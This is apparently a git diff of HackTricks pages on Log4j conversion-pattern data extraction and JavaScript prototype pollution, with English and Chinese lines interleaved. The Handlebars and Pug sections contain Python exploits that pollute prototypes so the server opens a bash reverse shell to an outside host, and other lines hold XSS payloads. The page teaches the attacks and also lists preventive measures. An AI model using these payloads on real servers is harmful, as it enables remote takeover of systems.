![](<../../images/image (1023).png>)
### Conversion Patterns Exceptions
### 转换模式异常
Just to mention it, you could also inject new [**conversion patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) and trigger exceptions that will be logged to `stdout`. For example:
仅提及,你还可以注入新的 [**转换模式**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) 并触发将记录到 `stdout` 的异常。例如:
![](<../../images/image (683).png>)
This wasn't found useful to exfiltrate date inside the error message, because the lookup wasn't solved before the conversion pattern, but it could be useful for other stuff such as detecting.
这在提取错误消息中的数据时并没有被发现有用,因为查找在转换模式之前没有解决,但它可能对其他事情如检测有用。
### Conversion Patterns Regexes
### 转换模式正则表达式
However, it's possible to use some **conversion patterns that supports regexes** to exfiltrate information from a lookup by using regexes and abusing **binary search** or **time based** behaviours.
然而,可以使用一些 **支持正则表达式的转换模式** 通过使用正则表达式和滥用 **二分查找****基于时间** 的行为来提取信息。
- **Binary search via exception messages**
The conversion pattern **`%replace`** can be use to **replace** **content** from a **string** even using **regexes**. It works like this: `replace{pattern}{regex}{substitution}`\
Abusing this behaviour you could make replace **trigger an exception if the regex matched** anything inside the string (and no exception if it wasn't found) like this:
- **通过异常消息进行二分查找**
转换模式 **`%replace`** 可以用来 **替换** **字符串** 中的 **内容**,甚至使用 **正则表达式**。它的工作方式是:`replace{pattern}{regex}{substitution}`\
滥用这种行为,你可以使替换 **在正则表达式匹配** 字符串中的任何内容时触发异常(如果未找到则不触发异常),如下所示:
```bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
```
- **基于时间的**
- **Time based**
正如前一节提到的,**`%replace`** 支持 **regexes**。因此,可以使用来自 [**ReDoS 页面**](../regular-expression-denial-of-service-redos.md) 的有效载荷来导致 **超时**,如果找到标志。\
例如,像 `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` 的有效载荷将在该 CTF 中触发 **超时**
As it was mentioned in the previous section, **`%replace`** supports **regexes**. So it's possible to use payload from the [**ReDoS page**](../regular-expression-denial-of-service-redos.md) to cause a **timeout** in case the flag is found.\
For example, a payload like `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` would trigger a **timeout** in that CTF.
In this [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), instead of using a ReDoS attack it used an **amplification attack** to cause a time difference in the response:
在这个 [**写作**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) 中,使用了 **放大攻击** 而不是 ReDoS 攻击来造成响应中的时间差:
> ```
> /%replace{
@ -444,11 +416,11 @@ In this [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l
> }{#}{######################################################}
> ```
>
> If the flag starts with `flagGuess`, the whole flag is replaced with 29 `#`-s (I used this character because it would likely not be part of the flag). **Each of the resulting 29 `#`-s is then replaced by 54 `#`-s**. This process is repeated **6 times**, leading to a total of ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
> 如果标志以 `flagGuess` 开头,整个标志将被 29 个 `#` 替换(我使用这个字符是因为它可能不会是标志的一部分)。**然后将结果中的每个 29 个 `#` 替换为 54 个 `#`**。这个过程重复 **6 次**,导致总共 ` 29*54*54^6* =`` `` `**`96816014208`** **`#`**
>
> Replacing so many `#`-s will trigger the 10-second timeout of the Flask application, which in turn will result in the HTTP status code 500 being sent to the user. (If the flag does not start with `flagGuess`, we will receive a non-500 status code)
> 替换这么多的 `#` 将触发 Flask 应用程序的 10 秒超时,这将导致 HTTP 状态代码 500 被发送给用户。(如果标志不以 `flagGuess` 开头,我们将收到非 500 状态代码)
## References
## 参考文献
- [https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/)
- [https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/)
@ -460,4 +432,3 @@ In this [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l
- [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,30 +2,27 @@
{{#include ../../../banners/hacktricks-training.md}}
## Objects in JavaScript <a href="#id-053a" id="id-053a"></a>
Objects in JavaScript are essentially collections of key-value pairs, known as properties. An object can be created using `Object.create` with `null` as an argument to produce an empty object. This method allows the creation of an object without any inherited properties.
## JavaScript中的对象 <a href="#id-053a" id="id-053a"></a>
JavaScript中的对象本质上是键值对的集合称为属性。可以使用 `Object.create` 并将 `null` 作为参数来创建一个空对象。此方法允许创建一个没有任何继承属性的对象。
```javascript
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.
```
一个空对象类似于一个空字典,表示为`{}`
An empty object is akin to an empty dictionary, represented as `{}`.
### Functions and Classes in JavaScript
In JavaScript, classes and functions are closely linked, with functions often serving as constructors for classes. Despite JavaScript's lack of native class support, constructors can emulate class behavior.
### JavaScript中的函数和类
在JavaScript中类和函数密切相关函数通常作为类的构造函数。尽管JavaScript缺乏原生类支持但构造函数可以模拟类的行为。
```javascript
// Run this in the developers tools console
function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}
Employee.prototype
@ -34,70 +31,62 @@ var employee1 = new Employee("Generic Employee", "Developer")
employee1.__proto__
```
### JavaScript中的原型
### Prototypes in JavaScript
JavaScript允许在运行时修改、添加或删除原型属性。这种灵活性使得类功能的动态扩展成为可能。
JavaScript allows the modification, addition, or deletion of prototype attributes at runtime. This flexibility enables the dynamic extension of class functionalities.
`toString``valueOf`这样的函数可以被改变以改变它们的行为展示了JavaScript原型系统的适应性。
Functions like `toString` and `valueOf` can be altered to change their behavior, demonstrating the adaptable nature of JavaScript's prototype system.
## 继承
## Inheritance
在基于原型的编程中,属性/方法由对象从类中继承。这些类是通过将属性/方法添加到另一个类的实例或一个空对象来创建的。
In prototype-based programming, properties/methods are inherited by objects from classes. These classes are created by adding properties/methods either to an instance of another class or to an empty object.
需要注意的是,当一个属性被添加到作为其他对象原型的对象(例如`myPersonObj`)时,继承的对象可以访问这个新属性。然而,除非明确调用,否则这个属性不会自动显示。
It should be noted that when a property is added to an object serving as the prototype for other objects (such as `myPersonObj`), the inheriting objects gain access to this new property. However, this property is not automatically displayed unless it is explicitly invoked.
## \_\_proto\_\_ 污染 <a href="#id-0d0a" id="id-0d0a"></a>
## \_\_proto\_\_ pollution <a href="#id-0d0a" id="id-0d0a"></a>
## 探索JavaScript中的原型污染
## Exploring Prototype Pollution in JavaScript
JavaScript objects are defined by key-value pairs and inherit from the JavaScript Object prototype. This means altering the Object prototype can influence all objects in the environment.
Let's use a different example to illustrate:
JavaScript对象由键值对定义并从JavaScript对象原型继承。这意味着改变对象原型可以影响环境中的所有对象。
让我们用一个不同的例子来说明:
```javascript
function Vehicle(model) {
this.model = model
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
```
Access to the Object prototype is possible through:
可以通过以下方式访问 Object 原型:
```javascript
car1.__proto__.__proto__
Vehicle.__proto__.__proto__
```
By adding properties to the Object prototype, every JavaScript object will inherit these new properties:
通过向 Object 原型添加属性,每个 JavaScript 对象将继承这些新属性:
```javascript
function Vehicle(model) {
this.model = model
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true
```
## 原型污染
## prototype pollution
For a scenario where `__proto__` usage is restricted, modifying a function's prototype is an alternative:
对于限制使用 `__proto__` 的场景,修改函数的原型是一个替代方案:
```javascript
function Vehicle(model) {
this.model = model
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
@ -105,65 +94,57 @@ console.log(car1.hasWheels) // Outputs true
// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true
```
这仅影响通过 `Vehicle` 构造函数创建的对象,使它们具有 `beep``hasWheels``honk``isElectric` 属性。
This affects only objects created from the `Vehicle` constructor, giving them the `beep`, `hasWheels`, `honk`, and `isElectric` properties.
Two methods to globally affect JavaScript objects through prototype pollution include:
1. Polluting the `Object.prototype` directly:
通过原型污染全局影响 JavaScript 对象的两种方法包括:
1. 直接污染 `Object.prototype`
```javascript
Object.prototype.goodbye = function () {
console.log("Goodbye!")
console.log("Goodbye!")
}
```
2. Polluting the prototype of a constructor for a commonly used structure:
2. 污染常用结构的构造函数原型:
```javascript
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
console.log("Hello!")
}
```
在这些操作之后,每个 JavaScript 对象都可以执行 `goodbye``greet` 方法。
After these operations, every JavaScript object can execute `goodbye` and `greet` methods.
## 污染其他对象
## Polluting other objects
### From a class to Object.prototype
In an scenario where you can **pollute an specific object** and you need to **get to `Object.prototype`** you can search for it with something like the following code:
### 从类到 Object.prototype
在一个可以 **污染特定对象** 的场景中,如果你需要 **到达 `Object.prototype`**,你可以使用以下代码进行搜索:
```javascript
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}
// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}
```
### 数组元素污染
### Array elements pollution
Note that as you can pollute attributes of objects in JS, if you have access to pollute an array you can also **pollute values of the array** accessible **by indexes** (note that you cannot overwrite values, so you need to pollute indexes that are somehow used but not written).
请注意,由于您可以污染 JS 中对象的属性,如果您有权污染数组,您也可以通过索引**污染数组的值**(请注意,您无法覆盖值,因此您需要污染以某种方式使用但未写入的索引)。
```javascript
c = [1, 2]
a = []
@ -173,11 +154,9 @@ b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not
```
### Html 元素污染
### Html elements pollution
When generating a HTML element via JS it's possible to **overwrite** the **`innerHTML`** attribute to make it write **arbitrary HTML code.** [Idea and example from this writeup](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
当通过 JS 生成 HTML 元素时,可以 **覆盖** **`innerHTML`** 属性以使其写入 **任意 HTML 代码。** [Idea and example from this writeup](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
```javascript
// Create element
devSettings["root"] = document.createElement('main')
@ -188,121 +167,111 @@ settings[root][innerHTML]=<"svg onload=alert(1)>"
// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"
```
## 示例
## Examples
### 基本示例
### Basic Example
A prototype pollution occurs due to a flaw in the application that allows overwriting properties on `Object.prototype`. This means that since most objects derive their properties from `Object.prototype`
The easies example is to add a value to an **undefiner attribute of an object** that is going to be checked, like:
原型污染是由于应用程序中的缺陷导致的,该缺陷允许覆盖 `Object.prototype` 上的属性。这意味着大多数对象从 `Object.prototype` 派生其属性。
最简单的示例是向将要被检查的对象的 **未定义属性** 添加一个值,例如:
```javascript
if (user.admin) {
```
If the attribute **`admin` is undefined** it's possible to abuse a PP and set it to True with something like:
如果属性 **`admin` 未定义**,则可以利用 PP 并将其设置为 True例如
```javascript
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
```
该机制涉及操纵属性,以便如果攻击者控制某些输入,他们可以修改应用程序中所有对象的原型。这种操纵通常涉及设置 `__proto__` 属性,在 JavaScript 中,这与直接修改对象的原型同义。
The mechanism behind this involves manipulating properties such that if an attacker has control over certain inputs, they can modify the prototype of all objects in the application. This manipulation typically involves setting the `__proto__` property, which, in JavaScript, is synonymous with directly modifying an object's prototype.
成功执行此攻击的条件,如特定 [研究](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf) 中所述,包括:
The conditions under which this attack can be successfully executed, as outlined in a specific [study](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf), include:
- Performing a recursive merge.
- Defining properties based on a path.
- Cloning objects.
- 执行递归合并。
- 基于路径定义属性。
- 克隆对象。
### Override function
```python
customer.__proto__.toString = ()=>{alert("polluted")}
```
### Proto Pollution to RCE
### 原型污染到 RCE
{{#ref}}
prototype-pollution-to-rce.md
{{#endref}}
Other payloads:
其他有效载荷:
- [https://github.com/KTH-LangSec/server-side-prototype-pollution](https://github.com/KTH-LangSec/server-side-prototype-pollution)
## Client-side prototype pollution to XSS
## 客户端原型污染到 XSS
{{#ref}}
client-side-prototype-pollution.md
{{#endref}}
### CVE-201911358: Prototype pollution attack through jQuery $ .extend
[For further details check this article](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) In jQuery, the `$ .extend` function can lead to prototype pollution if the deep copy feature is utilized improperly. This function is commonly used for cloning objects or merging properties from a default object. However, when misconfigured, properties intended for a new object can be assigned to the prototype instead. For instance:
### CVE-201911358通过 jQuery $ .extend 的原型污染攻击
[有关更多详细信息,请查看本文](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) 在 jQuery 中,`$ .extend` 函数如果深拷贝功能使用不当,可能导致原型污染。此函数通常用于克隆对象或合并来自默认对象的属性。然而,当配置错误时,原本用于新对象的属性可能会被分配给原型。例如:
```javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
```
此漏洞被识别为 CVE-201911358说明深拷贝如何无意中修改原型从而导致潜在的安全风险例如如果像 `isAdmin` 这样的属性在没有适当存在验证的情况下被检查,则可能导致未授权的管理员访问。
This vulnerability, identified as CVE-201911358, illustrates how a deep copy can inadvertently modify the prototype, leading to potential security risks, such as unauthorized admin access if properties like `isAdmin` are checked without proper existence verification.
### CVE-20183721, CVE-201910744: 通过 lodash 的原型污染攻击
### CVE-20183721, CVE-201910744: Prototype pollution attack through lodash
[有关更多详细信息,请查看本文](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
[For further details check this article](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
[Lodash](https://www.npmjs.com/package/lodash) 遇到了类似的原型污染漏洞 (CVE-20183721, CVE-201910744)。这些问题在版本 4.17.11 中得到了修复。
[Lodash](https://www.npmjs.com/package/lodash) encountered similar prototype pollution vulnerabilities (CVE-20183721, CVE-201910744). These issues were addressed in version 4.17.11.
### Another tutorial with CVEs
### 另一个包含 CVE 的教程
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
### Tools to detect Prototype Pollution
### 检测原型污染的工具
- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Burp Suite extension designed to detect and analyze server-side prototype pollution vulnerabilities in web applications. This tool automates the process of scanning requests to identify potential prototype pollution issues. It exploits known gadgets - methods of leveraging prototype pollution to execute harmful actions - particularly focusing on Node.js libraries.
- [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): This extension identifies server side prototype pollution vulnerabilities. It uses techniques described in the [server side prototype pollution](https://portswigger.net/research/server-side-prototype-pollution).
- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Burp Suite 扩展,旨在检测和分析 Web 应用程序中的服务器端原型污染漏洞。该工具自动化扫描请求的过程,以识别潜在的原型污染问题。它利用已知的工具 - 利用原型污染执行有害操作的方法 - 特别关注 Node.js 库。
- [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): 此扩展识别服务器端原型污染漏洞。它使用在 [server side prototype pollution](https://portswigger.net/research/server-side-prototype-pollution) 中描述的技术。
### AST Prototype Pollution in NodeJS
### NodeJS 中的 AST 原型污染
NodeJS extensively utilizes Abstract Syntax Trees (AST) in JavaScript for functionalities like template engines and TypeScript. This section explores the vulnerabilities related to prototype pollution in template engines, specifically Handlebars and Pug.
NodeJS 在 JavaScript 中广泛使用抽象语法树 (AST) 进行模板引擎和 TypeScript 等功能。本节探讨与模板引擎中原型污染相关的漏洞,特别是 Handlebars 和 Pug。
#### Handlebars Vulnerability Analysis
#### Handlebars 漏洞分析
The Handlebars template engine is susceptible to a prototype pollution attack. This vulnerability arises from specific functions within the `javascript-compiler.js` file. The `appendContent` function, for instance, concatenates `pendingContent` if it's present, while the `pushSource` function resets `pendingContent` to `undefined` after adding the source.
Handlebars 模板引擎易受原型污染攻击。此漏洞源于 `javascript-compiler.js` 文件中的特定函数。例如,`appendContent` 函数在存在时会连接 `pendingContent`,而 `pushSource` 函数在添加源后将 `pendingContent` 重置为 `undefined`
**Exploitation Process**
**利用过程**
The exploitation leverages the AST (Abstract Syntax Tree) produced by Handlebars, following these steps:
利用过程利用 Handlebars 生成的 AST抽象语法树遵循以下步骤
1. **Manipulation of the Parser**: Initially, the parser, via the `NumberLiteral` node, enforces that values are numeric. Prototype pollution can circumvent this, enabling the insertion of non-numeric strings.
2. **Handling by the Compiler**: The compiler can process an AST Object or a string template. If `input.type` equals `Program`, the input is treated as pre-parsed, which can be exploited.
3. **Injection of Code**: Through manipulation of `Object.prototype`, one can inject arbitrary code into the template function, which may lead to remote code execution.
An example demonstrating the exploitation of the Handlebars vulnerability:
1. **解析器的操控**:最初,解析器通过 `NumberLiteral` 节点强制值为数字。原型污染可以规避此限制,从而允许插入非数字字符串。
2. **编译器的处理**:编译器可以处理 AST 对象或字符串模板。如果 `input.type` 等于 `Program`,则输入被视为预解析,这可以被利用。
3. **代码注入**:通过操控 `Object.prototype`,可以将任意代码注入模板函数,这可能导致远程代码执行。
一个演示 Handlebars 漏洞利用的示例:
```javascript
const Handlebars = require("handlebars")
Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]
const source = `Hello {{ msg }}`
@ -310,15 +279,13 @@ const template = Handlebars.precompile(source)
console.log(eval("(" + template + ")")["main"].toString())
```
此代码展示了攻击者如何将任意代码注入到 Handlebars 模板中。
This code showcases how an attacker could inject arbitrary code into a Handlebars template.
**外部参考**:在 'flat' 库中发现了与原型污染相关的问题,详细信息请参见此处:[GitHub 上的问题](https://github.com/hughsk/flat/issues/105)。
**External Reference**: An issue related to prototype pollution was found in the 'flat' library, as detailed here: [Issue on GitHub](https://github.com/hughsk/flat/issues/105).
**External Reference**: [Issue related to prototype pollution in the 'flat' library](https://github.com/hughsk/flat/issues/105)
Example of prototype pollution exploit in Python:
**外部参考**[与 'flat' 库中的原型污染相关的问题](https://github.com/hughsk/flat/issues/105)
Python 中原型污染利用的示例:
```python
import requests
@ -326,31 +293,29 @@ TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})
# execute
requests.get(TARGET_URL)
```
#### Pug 漏洞
#### Pug Vulnerability
Pug, another template engine, faces a similar risk of prototype pollution. Detailed information is available in the discussion on [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug).
Example of prototype pollution in Pug:
Pug另一个模板引擎面临着类似的原型污染风险。详细信息可在关于 [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug) 的讨论中找到。
Pug 中原型污染的示例:
```python
import requests
@ -358,33 +323,32 @@ TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})
# execute
requests.get(TARGET_URL)
```
### 预防措施
### Preventive Measures
为了降低原型污染的风险,可以采用以下策略:
To reduce the risk of prototype pollution, the strategies listed below can be employed:
1. **对象不可变性**:可以通过应用 `Object.freeze` 使 `Object.prototype` 变为不可变。
2. **输入验证**JSON 输入应严格根据应用程序的架构进行验证。
3. **安全合并函数**:应避免不安全的递归合并函数使用。
4. **无原型对象**:可以使用 `Object.create(null)` 创建没有原型属性的对象。
5. **使用 Map**:应使用 `Map` 来存储键值对,而不是 `Object`
6. **库更新**:通过定期更新库来纳入安全补丁。
7. **Linter 和静态分析工具**:使用如 ESLint 之类的工具,配合适当的插件,检测和防止原型污染漏洞。
8. **代码审查**:实施全面的代码审查,以识别和修复与原型污染相关的潜在风险。
9. **安全培训**:教育开发人员了解原型污染的风险及编写安全代码的最佳实践。
10. **谨慎使用库**:在使用第三方库时要谨慎。评估其安全态势并审查其代码,特别是那些操作对象的库。
11. **运行时保护**:采用运行时保护机制,例如使用专注于安全的 npm 包,以检测和防止原型污染攻击。
1. **Object Immutability**: The `Object.prototype` can be made immutable by applying `Object.freeze`.
2. **Input Validation**: JSON inputs should be rigorously validated against the application's schema.
3. **Safe Merge Functions**: The unsafe use of recursive merge functions should be avoided.
4. **Prototype-less Objects**: Objects without prototype properties can be created using `Object.create(null)`.
5. **Use of Map**: Instead of `Object`, `Map` should be used for storing key-value pairs.
6. **Library Updates**: Security patches can be incorporated by regularly updating libraries.
7. **Linter and Static Analysis Tools**: Use tools like ESLint with appropriate plugins to detect and prevent prototype pollution vulnerabilities.
8. **Code Reviews**: Implement thorough code reviews to identify and remediate potential risks related to prototype pollution.
9. **Security Training**: Educate developers about the risks of prototype pollution and best practices for writing secure code.
10. **Using Libraries with Caution**: Be cautious while using third-party libraries. Assess their security posture and review their code, especially those manipulating objects.
11. **Runtime Protection**: Employ runtime protection mechanisms such as using security-focused npm packages which can detect and prevent prototype pollution attacks.
## References
## 参考文献
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
- [https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l](https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l)
@ -392,4 +356,3 @@ To reduce the risk of prototype pollution, the strategies listed below can be em
- [https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,79 +1,75 @@
# Client Side Prototype Pollution
# 客户端原型污染
{{#include ../../../banners/hacktricks-training.md}}
## Discovering using Automatic tools
## 使用自动工具发现
The tools [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **and** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) can be used to **find prototype pollution vulnerabilities**.
工具 [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) 可用于 **查找原型污染漏洞**
Moreover, you could also use the **browser extension** [**PPScan**](https://github.com/msrkp/PPScan) to **automatically** **scan** the **pages** you **access** for prototype pollution vulnerabilities.
### Debugging where a property is used <a href="#id-5530" id="id-5530"></a>
此外,您还可以使用 **浏览器扩展** [**PPScan**](https://github.com/msrkp/PPScan) **自动** **扫描****访问****页面** 以查找原型污染漏洞。
### 调试属性使用的位置 <a href="#id-5530" id="id-5530"></a>
```javascript
// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype, "potentialGadget", {
__proto__: null,
get() {
console.trace()
return "test"
},
__proto__: null,
get() {
console.trace()
return "test"
},
})
```
### 查找原型污染的根本原因 <a href="#id-5530" id="id-5530"></a>
### Finding the root cause of Prototype Pollution <a href="#id-5530" id="id-5530"></a>
一旦通过任何工具识别出原型污染漏洞,并且代码不是过于复杂,您可以通过在 Chrome 开发者工具中搜索关键字如 `location.hash``decodeURIComponent``location.search` 来找到漏洞。这种方法可以帮助您准确定位 JavaScript 代码中的漏洞部分。
Once a prototype pollution vulnerability has been identified by any of the tools, and if the code is not overly complex, you might find the vulnerability by searching for keywords such as `location.hash`, `decodeURIComponent`, or `location.search` in the Chrome Developer Tools. This approach allows you to pinpoint the vulnerable section of the JavaScript code.
For larger and more complex codebases, a straightforward method to discover the vulnerable code involves the following steps:
1. Use a tool to identify a vulnerability and obtain a payload designed to set a property in the constructor. An example provided by ppmap might look like: `constructor[prototype][ppmap]=reserved`.
2. Set a breakpoint at the first line of JavaScript code that will execute on the page. Refresh the page with the payload, pausing the execution at this breakpoint.
3. While the JavaScript execution is paused, execute the following script in the JS console. This script will signal when the 'ppmap' property is created, aiding in locating its origin:
对于更大和更复杂的代码库,发现漏洞代码的简单方法包括以下步骤:
1. 使用工具识别漏洞并获取一个旨在设置构造函数中属性的有效载荷。ppmap 提供的示例可能看起来像:`constructor[prototype][ppmap]=reserved`
2. 在页面上将 JavaScript 代码的第一行设置为断点。使用有效载荷刷新页面,在此断点处暂停执行。
3. 当 JavaScript 执行暂停时,在 JS 控制台中执行以下脚本。该脚本将在创建 'ppmap' 属性时发出信号,帮助定位其来源:
```javascript
function debugAccess(obj, prop, debugGet = true) {
var origValue = obj[prop]
var origValue = obj[prop]
Object.defineProperty(obj, prop, {
get: function () {
if (debugGet) debugger
return origValue
},
set: function (val) {
debugger
origValue = val
},
})
Object.defineProperty(obj, prop, {
get: function () {
if (debugGet) debugger
return origValue
},
set: function (val) {
debugger
origValue = val
},
})
}
debugAccess(Object.prototype, "ppmap")
```
4. 返回到 **Sources** 标签并选择“恢复脚本执行”。JavaScript 将继续执行,'ppmap' 属性将如预期被污染。利用提供的代码片段可以帮助识别 'ppmap' 属性被污染的确切位置。通过检查 **Call Stack**,可以观察到污染发生的不同堆栈。
4. Navigate back to the **Sources** tab and select “Resume script execution”. The JavaScript will continue executing, and the 'ppmap' property will be polluted as expected. Utilizing the provided snippet facilitates the identification of the exact location where the 'ppmap' property is polluted. By examining the **Call Stack**, different stacks where the pollution occurred can be observed.
When deciding which stack to investigate, it is often useful to target stacks associated with JavaScript library files, as prototype pollution frequently occurs within these libraries. Identify the relevant stack by examining its attachment to library files (visible on the right side, similar to an image provided for guidance). In scenarios with multiple stacks, such as those on lines 4 and 6, the logical choice is the stack on line 4, as it represents the initial occurrence of pollution and thereby the root cause of the vulnerability. Clicking on the stack will direct you to the vulnerable code.
在决定调查哪个堆栈时,通常有用的是针对与 JavaScript 库文件相关的堆栈,因为原型污染通常发生在这些库中。通过检查其与库文件的关联(在右侧可见,类似于提供的图像以供参考)来识别相关堆栈。在有多个堆栈的情况下,例如第 4 行和第 6 行,逻辑选择是第 4 行的堆栈,因为它代表了污染的初始发生,从而是漏洞的根本原因。点击该堆栈将引导您到易受攻击的代码。
![https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg](https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg)
## Finding Script Gadgets
## 查找脚本小工具
The gadget is the **code that will be abused once a PP vulnerability is discovered**.
小工具是 **一旦发现 PP 漏洞将被滥用的代码**
If the application is simple, we can **search** for **keywords** like **`srcdoc/innerHTML/iframe/createElement`** and review the source code and check if it l**eads to javascript execution**. Sometimes, mentioned techniques might not find gadgets at all. In that case, pure source code review reveals some nice gadgets like the below example.
如果应用程序很简单,我们可以 **搜索** **关键词**,如 **`srcdoc/innerHTML/iframe/createElement`** 并查看源代码,检查是否 **导致 JavaScript 执行**。有时,提到的技术可能根本找不到小工具。在这种情况下,纯源代码审查会揭示一些不错的小工具,如下面的示例。
### Example Finding PP gadget in Mithil library code
